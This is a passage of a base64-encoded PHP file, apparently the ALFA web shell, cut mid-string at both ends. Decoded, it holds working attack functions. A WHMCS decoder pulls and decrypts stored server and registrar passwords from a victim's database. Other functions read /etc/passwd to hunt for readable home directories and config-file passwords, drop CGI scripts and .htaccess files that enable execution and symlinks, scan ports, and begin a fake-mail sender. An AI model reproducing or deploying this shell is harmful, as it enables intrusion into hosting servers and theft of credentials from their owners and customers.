Z3pJeGZkWDVQM0dwbHJOUng1dG5ndkxvTWFZS1lWZDBGK3UzdzdlME9YY1diTDh4eE5VVnlhVm1DcXR4T3o1ZUxWS1VOdXFlRW95emV5VUdMbE83VXpmQ3dNWEQxT1NTczZGbW5rUGtPUEpXWktBRXg4a3QrbVVuSnlPaThjWmx5V2t4MllLb1VmV2d3amkvMm1HaGcxMmZBUVVTbEhLY3ZhUVNpc0c0TEVZckZmNndiQmk5cHl4U0dSUE9UTnJxUVpPQldDT3ZJSGVTc2ltQWN2a1drMUpEdXBrWWhacHd3WG9jMUk4a2xKbmtrT0Q0RFBzbDJ1aks4V24yRUFWQ01FZ0FmYmpvRXdaUnozRzhIc0tWTWZqeTFmajAvT2EwOEF3THF0eWlxREd1TWtaS3ZCbnpJZ3JVNktYQ2cweEZPWi9PTVliaStOQnEvVlRXMmUwb1E1REpoSzc5Ykx6eExOVVJXVnZNR3NXWlJYbDB0NDkxUUliZVcxZUxyNkgzVlRIRWpxbldvdEREbmcraG9ieTlKZTROYjc3R2xVK0VNOEQwZ3JHWVZDc0I3V1RTc3NNWUo5OURoR29DZDQvWTFBZ3RPd0p4b0w4VGRUNjdhVjJTL3VXOG8zZ2xpNXRlNDdmdXA5RzhQVGtOYURWeFgvMkpqNDdlMU1iQ0kzazc3c2lZWlhWczJkb0E2N0c1aU5mdFpIbUc2SVZ4Sk12S05keGxVTXVZck82ekFSK2ZyZTU0dUZ0QUs2K2hSYWJBQUswekJrbDBkcEpYTkRqc2Z1aHhPckN1M0pCNFlTcDBUcjZUNmRXNjV3S2RMcTdRR2NCTTI4YWRJSllZTElzNXduMElWS0xna0RTSlRUY2FOZGx3Q09DbEl5VHJ5Qjk3MlVwWVRraS8zSFg5ZW5iTmZTMmJCanJmRDZLb1AzTlI4Z1M3RzhrV0Z5b2lIZnpncDVRVW11SjNxTWtobHJDK2dGSE96M3hYRHQrUVNlZ3FFVVcvSUEvMm14cU94S293d1g5VlJqT0ZLTUVzOEl6QWNYMkxEMmVUQzRua3pjTzhuRm5DN2xZeTIwampaYTFLUVI2dFJLeEJZOVlUVjZZRzBobE9mNHhqZTdMb0puNVJKYmtKOGhEdDBtNVlVOWJ6WjdMKzJiVTFEV0RRWjVPTUV1ZHBoYzZ6M0dHVHcvTnBicjBZQ3oxVVZTZk5CUEo2d1RNbC9OaStVVWhlNVhhaUcycWpCajlVSUkzd2ZObEFVR0tVeEYvV3RBRVpyeWd0WWxCSWpNUjRQREhUUXV0dEc3UlBqcENRSUs3V3IyRjNYalVPNFRWR3dxRVFFSFpLOWd3dHRoOWtzblN1aFhpaUpBMms1dnQ0YTdqQkdqajROQ1BjNmRBQTNhMEtLT0JEdkVEeDUySEVPQ3JXbnNJYm04SURUL0Q3Mjd4cXl4YjRTMlF0VFliV05CR3VLd2xxa0hFYlRqY1lrTklIaUlvOGdjRGJQZloxd3Z3VGdMY1lmYUNBTWlORUhRRHo5Z2RxeTZjVjRnd09obFBUcmRrOVc1eGpWTXZFVkRPaFBaZ3dvUU51MjZQa245OU42VDcrTUYxS3B4RVFvTmVvbm9CMUJZclNWVmcwd0llWlJYSG9peFIrR2FJNjZkL0dwRkw5MDlxZUFrSVk1dzNQVU00ZFk3cTVYQ2JBUjYwWFNuckpYZmZmYzJ1Mnowc3hQUEI1OWkyWmtaTmVqWXBQaW9PRk9BOGNwME9YZzFhK2FtNW9EYVY0RlYzR01LSXhpYkZGOVpVWXRhQ3BMOER5U1RjZzBxK1dOd0dLYlR1SjNmUGgrNXBBWGRCcjE1eGU4RnQ4T3lBY1EyTXJHWmhwVVFaczBLRVF1RWI0WmNQVjFEZEJmUUdDSGNidTl2dHp2WlkvekZxdnFPbUJKTVhLaFdtZ29EV0JuUG8vYzhmcnlsaE1mcDFBVUhmdmZzZytNdTUyekdJMnpHbzMvd2FIcHdTcndYZFgzNXhHZlk3ZXk4Z2UvUVlIMHJBVHhUaTJyQ0pLZG1YNHYzWmdKdVQ3OSt2eGx1aHl5VmRmcVhnb1RCci8zMlJVK29WQUN1MGlqT0piUXNDR1d1VlNKUEQ4RDAzZ214MEJZa09IOTlBTU90b0FwRUw3dXdaazVuVWoxRFg4V1piblg3UU9mUS9IQlVteHphNHk4eERTYmdidTM4bUdmK1AyQU9TZDB3T0wyY0pxN0IxbWc0NHMrd1BKNFRmVlJPY25IVlhNUGlZd0JtRWp0MCtIOUFQemNQSkxiWjcwYnBJTmJ6bkNYTzlCdmNraHpFZk9lNU5QdFN6cVZtYTNkYm13N2VWakZGTWNkaDlhYUhhNm9ScmxZVDViWDY0ZnZmandqbkl0Y09iOGQwUU1ZQzdkeERlYm12RmZkZjVkN1l0aWYzMDNFKzRPaDI4bG4reGlMNUF4RDZYNEZOdXQyanRNbTdrZGk2Yy9MQjk0aXFLejhqZ3YxMU5WWm89IikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKaWYoJF9QT1NUWydhbGZhMSddPT0ncGVybCcpeyRjb2RlID0gJHBlcmw7fWVsc2V7JGNvZGUgPSAkcHk7fQppZihfX3dyaXRlX2ZpbGUoJG5hbWUsJGNvZGUpKXsKQGNobW9kKCRuYW1lLDA3NTUpOwplY2hvICc8aWZyYW1lIHNyYz0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2NnaWFsZmEvJy4kbmFtZS4nIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI2MDBweCIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJvcGFjaXR5OjAuOTtmaWx0ZXI6IGFscGhhKG9wYWNpdHk9OSk7b3ZlcmZsb3c6YXV0bzsiPjwvaWZyYW1lPic7Cn0KfQplY2hvICRkaXY7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhV2htY3MoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZnVuY3Rpb24gZGVjcnlwdCgkc3RyaW5nLCRjY19lbmNyeXB0aW9uX2hhc2gpewoka2V5ID0gbWQ1IChtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpKSAuIG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCk7CiRoYXNoX2tleSA9IF9oYXNoKCRrZXkpOwokaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7CiRzdHJpbmcgPSBfX1pHVmpiMlJsY2coJHN0cmluZyk7CiR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7CiRzdHJpbmcgPSBzdWJzdHIgKCRzdHJpbmcsICRoYXNoX2xlbmd0aCwgc3RybGVuICgkc3RyaW5nKSAtICRoYXNoX2xlbmd0aCk7CiRpdiA9ICRvdXQgPSAnJzsKJGMgPSAwOwp3aGlsZSAoJGMgPCAkaGFzaF9sZW5ndGgpCnsKJGl2IC49IGNociAob3JkICgkdG1wX2l2WyRjXSkgXiBvcmQgKCRoYXNoX2tleVskY10pKTsKKyskYzsKfQoka2V5ID0gJGl2OwokYyA9IDA7CndoaWxlICgkYyA8IHN0cmxlbiAoJHN0cmluZykpCnsKaWYgKCgkYyAhPSAwIEFORCAkYyAlICRoYXNoX2xlbmd0aCA9PSAwKSkKewoka2V5ID0gX2hhc2ggKCRrZXkgLiBzdWJzdHIgKCRvdXQsICRjIC0gJGhhc2hfbGVuZ3RoLCAkaGFzaF9sZW5ndGgpKTsKfQokb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7CisrJGM7Cn0KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gX2hhc2goJHN0cmluZykKewppZihmdW5jdGlvbl9leGlzdHMoJ3NoYTEnKSkKewokaGFzaCA9IHNoYTEgKCRzdHJpbmcpOwp9CmVsc2UKewokaGFzaCA9IG1kNSAoJHN0cmluZyk7Cn0KJG91dCA9ICcnOwokYyA9IDA7CndoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQp7CiRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsKJGMgKz0gMjsKfQpyZXR1cm4gJG91dDsKfQpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFdITUNTIERlQ29kZXIgfDwvZGl2PjxwPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPC9wPjxmb3JtIG9uc3VibWl0PVwiZygnV2htY3MnLG51bGwsdGhpcy5mb3JtX2FjdGlvbi52YWx1ZSwnZGVjb2RlcicsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmNjX2VuY3J5cHRpb25faGFzaC52YWx1ZSx0aGlzLmRiX2hvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2Zvcm1fYWN0aW9uJyB2YWx1ZT0nMic+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdjY19lbmNyeXB0aW9uX2hhc2ggOiAnLCAnaW5wdXROYW1lJyA9PiAnY2NfZW5jcnlwdGlvbl9oYXNoJywgJ2lkJyA9PiAnY2NfZW5jcnlwdGlvbl9oYXNoJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnIG5hbWU9J1N1Ym1pdCc+PC9wPjwvZm9ybT48L2NlbnRlcj4iOwppZigkX1BPU1RbJ2FsZmE1J10hPScnKXsKJGRiX2hvc3Q9KCRfUE9TVFsnYWxmYTcnXSk7CiRkYl91c2VybmFtZT0oJF9QT1NUWydhbGZhMyddKTsKJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2FsZmE0J10pOwokZGJfbmFtZT0oJF9QT1NUWydhbGZhNSddKTsKJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydhbGZhNiddKTsKZWNobyBfX3ByZSgpOwokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCwkZGJfbmFtZSkgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcXVlcnkgPSBteXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOwokbnVtID0gbXlzcWxpX251bV9yb3dzKCRxdWVyeSk7CmlmICgkbnVtID4gMCl7CmZvcigkaT0wOyAkaSA8PSRudW0tMTsgJGkrKyl7CiR2ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkpOwokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlR5cGU8L2ZvbnQ+PC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkFjdGl2ZTwvZm9udD48L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPjwvYj4iKTsKZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Ib3N0bmFtZTwvZm9udD48L3RkPjx0ZD4kaG9zdG5hbWU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPklwPC9mb250PjwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXJuYW1lPC9mb250PjwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGFzc3dvcmQ8L2ZvbnQ+PC90ZD48dGQ+JHBhc3N3b3JkPC90ZD48L3RyPjwvYj4iKTsKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cn0KJHF1ZXJ5MSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOwokbnVtMSA9IEBteXNxbGlfbnVtX3Jvd3MoJHF1ZXJ5MSk7CmlmICgkbnVtMSA+IDApewpmb3IoJGk9MDsgJGkgPD0kbnVtMSAtMTsgJGkrKyl7CiR2ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeTEpOwokcmVnaXN0cmFyID0gJHZbJ3JlZ2lzdHJhciddOwokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107CiR2YWx1ZSA9IGRlY3J5cHQoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwppZiAoJHZhbHVlPT0iIil7CiR2YWx1ZT0wOwp9CmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48Y2VudGVyPiIpOwplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlJlZ2lzdGVyPC9mb250PjwvdGQ+PHRkPiRyZWdpc3RyYXI8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlNldHRpbmc8L2ZvbnQ+PC90ZD48dGQ+JHNldHRpbmc8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlZhbHVlPC9mb250PjwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9Cn0KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+dGJsc2VydmVycyBpcyBFbXB0eS4uLiE8L2ZvbnQ+Jyk7fTsKfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXBvcnRzY2FubmVyKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgUG9ydCBTY2FuZXIgfDwvZGl2PjwvcD4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdwb3J0c2Nhbm5lclwnLG51bGwsbnVsbCx0aGlzLnN0YXJ0LnZhbHVlLHRoaXMuZW5kLnZhbHVlLHRoaXMuaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ5IiB2YWx1ZT0icGhwdG9vbHMiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5Ib3N0OiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgc3RhcnQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiICBuYW1lPSJzdGFydCIgdmFsdWU9IjgwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPlBvcnQgZW5kOiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiBzaXplPSI1IiB0eXBlPSJ0ZXh0IiBuYW1lPSJlbmQiIHZhbHVlPSI4MCIvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgLz4KPC9mb3JtPjwvY2VudGVyPjxicj4nOwokc3RhcnQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTInXSk7CiRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnYWxmYTMnXSk7CiRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmE0J10pOwppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pICYmIGlzX251bWVyaWMoJF9QT1NUWydhbGZhMyddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnYWxmYTInXSkpewplY2hvIF9fcHJlKCk7CiRwYWNrZXRDb250ZW50ID0gIkdFVCAvIEhUVFAvMS4xXHJcblxyXG4iOwppZihjdHlwZV94ZGlnaXQoJHBhY2tldENvbnRlbnQpKSRwYWNrZXRDb250ZW50ID0gQHBhY2soIkgqIiAsICRwYWNrZXRDb250ZW50KTsKZWxzZXsKJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJHBhY2tldENvbnRlbnQpOwokcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcXHIiLCJcXG4iKSwgYXJyYXkoIlxyIiwgIlxuIiksICRwYWNrZXRDb250ZW50KTsKfQpmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsKJHNvY2sgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsKaWYoJHNvY2spewpzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssIDUpOwpmd3JpdGUoJHNvY2ssICRwYWNrZXRDb250ZW50LiJcclxuXHJcblx4MDAiKTsKJGNvdW50ZXIgPSAwOwokbWF4dHJ5ID0gMTsKJGJpbiA9ICIiOwpkb3sKJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7CmlmKHRyaW0oJGxpbmUpPT0iIikkY291bnRlcisrOwokYmluIC49ICRsaW5lOwp9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7CmZjbG9zZSgkc29jayk7CmVjaG8gIjxjZW50ZXI+PHA+UG9ydCA8Zm9udCBzdHlsZT0nY29sb3I6I0RFM0UzRSc+JGk8L2ZvbnQ+IGlzIG9wZW48L3A+IjsKZWNobyAiPHA+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7d2lkdGg6NTAlOyc+Ii4kYmluLiI8L3RleHRhcmVhPjwvcD48L2NlbnRlcj4iOwp9CmZsdXNoKCk7Cn0KfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWNnaWh0YWNjZXNzKCRtLCRkPScnLCAkc3ltbmFtZT1mYWxzZSl7CiRyZWFkbWUgPSAiIjsKaWYoJHN5bW5hbWUpeyRyZWFkbWU9IlxuUmVhZG1lTmFtZSAiLnRyaW0oJHN5bW5hbWUpO30KaWYoJG09PSdjZ2knKXsKJGNvZGUgPSAiI0NvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlXG5PcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJXG5BZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5hbGZhXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmFsZmEiOwp9ZWxzZWlmKCRtPT0nc3ltJyl7CiRjb2RlID0gIiNDb2RlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZVxuT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzXG5EaXJlY3RvcnlJbmRleCBzb2xldmlzaWJsZS5waHRtXG5BZGRUeXBlIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbFxuQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHBocDQgcGh0bWx7JHJlYWRtZX1cbk9wdGlvbnMgYWxsIjsKfWVsc2VpZigkbT09J3NodG1sJyl7CiRjb2RlID0gIk9wdGlvbnMgK0luY2x1ZGVzXG5BZGRUeXBlIHRleHQvaHRtbCAuc2h0bWxcbkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAuc2h0bWwiOwp9CkBfX3dyaXRlX2ZpbGUoJGQgLiAiLmh0YWNjZXNzIiwgJGNvZGUpOwp9CmZ1bmN0aW9uIGFsZmFiYXNlZGlyKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPgo8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE9wZW4gQmFzZSBEaXIgfDwvZGl2PjwvcD48L2NlbnRlcj4nOwokcGFzc3dkID0gX2FsZmFfZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYoaXNfYXJyYXkoJHBhc3N3ZCkpewokdXNlcnMgPSBhcnJheSgpOwokbWFrZXB3ZCA9IGFsZmFNYWtlUHdkKCk7CiRiYXNlZGlyID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLGZhbHNlKSYmKCRiYXNlZGlyfHwkc2FmZV9tb2RlKSl7CiRiYXNoID0gImZaQlBTd014RU1YUHphY1l4OWp1Z2t2WTlsYnBUUTllRlU5TldkWWsyd1lrV1pLc2dtdSt1OU5hUzhFL2N3Z0RML04rTSsveVFqeGJKK0tPM2Q0L3JIak51c0dwWkwyRG1FSVRUUC9TS2xPVUl3T3FOVlR2Z0x4RzJNQjBDc0drSVRpb3o3WDVQOXJpTjYwaHpoSFR2TFluNUlvWGZiQXVkWUJYVVVxSFg5d1BpRVpEWlFDajRPTTgwN1BJWW92bHdldkh4UGlIZTBhV21WRTdmN0JhUzRXczh3RXNXQWU4VUVPQ1NpK2g2bW9RSmluUnR6Rys2ZklHdEdlVHA4YzdDcW80aTRkQUZCN3h4aUdha1BkZ1N4dE42T3hBL1g3Z2VQazNVdElQaWRkTWUyZE9lOHdRTjdOUCI7CiR0bXBfcGF0aCA9IGFsZmFXcml0ZVRvY2dpYXBpKCJiYXNlZGlyLmFsZmEiLCRiYXNoKTsKJGJhc2hfdXNlcnMgID0gYWxmYUV4KCJjZCAiLiR0bXBfcGF0aC4iL2FsZmFjZ2lhcGk7c2ggYmFzZWRpci5hbGZhICIuJG1ha2Vwd2QsZmFsc2UsdHJ1ZSx0cnVlKTsKJHVzZXJzID0ganNvbl9kZWNvZGUoJGJhc2hfdXNlcnMsIHRydWUpOwokeD1jb3VudCgkdXNlcnMpOwppZigkeD49Mil7YXJyYXlfcG9wKCR1c2Vycyk7LS0keDt9Cn0KaWYoISRiYXNlZGlyJiYhJHNhZmVfbW9kZSl7CiR4PTA7CmZvcmVhY2goJHBhc3N3ZCBhcyAkc3RyKXsKJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7CiRkaXJ6ID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VybmFtZSwgJG1ha2Vwd2QpOwppZigoJHVzZXJuYW1lICE9ICcnKSl7CmlmIChAaXNfcmVhZGFibGUoJGRpcnopKXsKYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsKJHgrKzsKfX19Cn0KZWNobyAnPGJyPjxicj4nOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5bK10gRm91bmRlZCAiLnNpemVvZigkcGFzc3dkKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gRm91bmRlZCAiLiR4LiIgcmVhZGFibGUgIi5zdHJfcmVwbGFjZSgie3VzZXJ9IiwgIioiLCAkbWFrZXB3ZCkuIiBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5bfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnIGZpbGVzLi4uXG5cbiIuIjxiciAvPjxiciAvPjxiciAvPjwvZm9udD48L2I+IjsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpewppZihlbXB0eSgkdXNlcikpY29udGludWU7CiRwYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5DaGFuZ2UgRGlyIDxmb250IGNvbG9yPSNGRkZGMDE+Li46OiA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPjxiPiR1c2VyPC9iPjwvZm9udD48Zm9udCBjb2xvcj0jRkZGRjAxPiA6Oi4uPC9mb250PjwvZm9udD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSckcGF0aCc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxicj4iOwp9Cn1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9CmVjaG8gJzxicj48YnI+PC9iPic7CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhbWFpbCgpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9jb250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoCid0ZDEnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNYWlsIFRvIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfdG8nLCAnaW5wdXRWYWx1ZScgPT4gJ3Rhc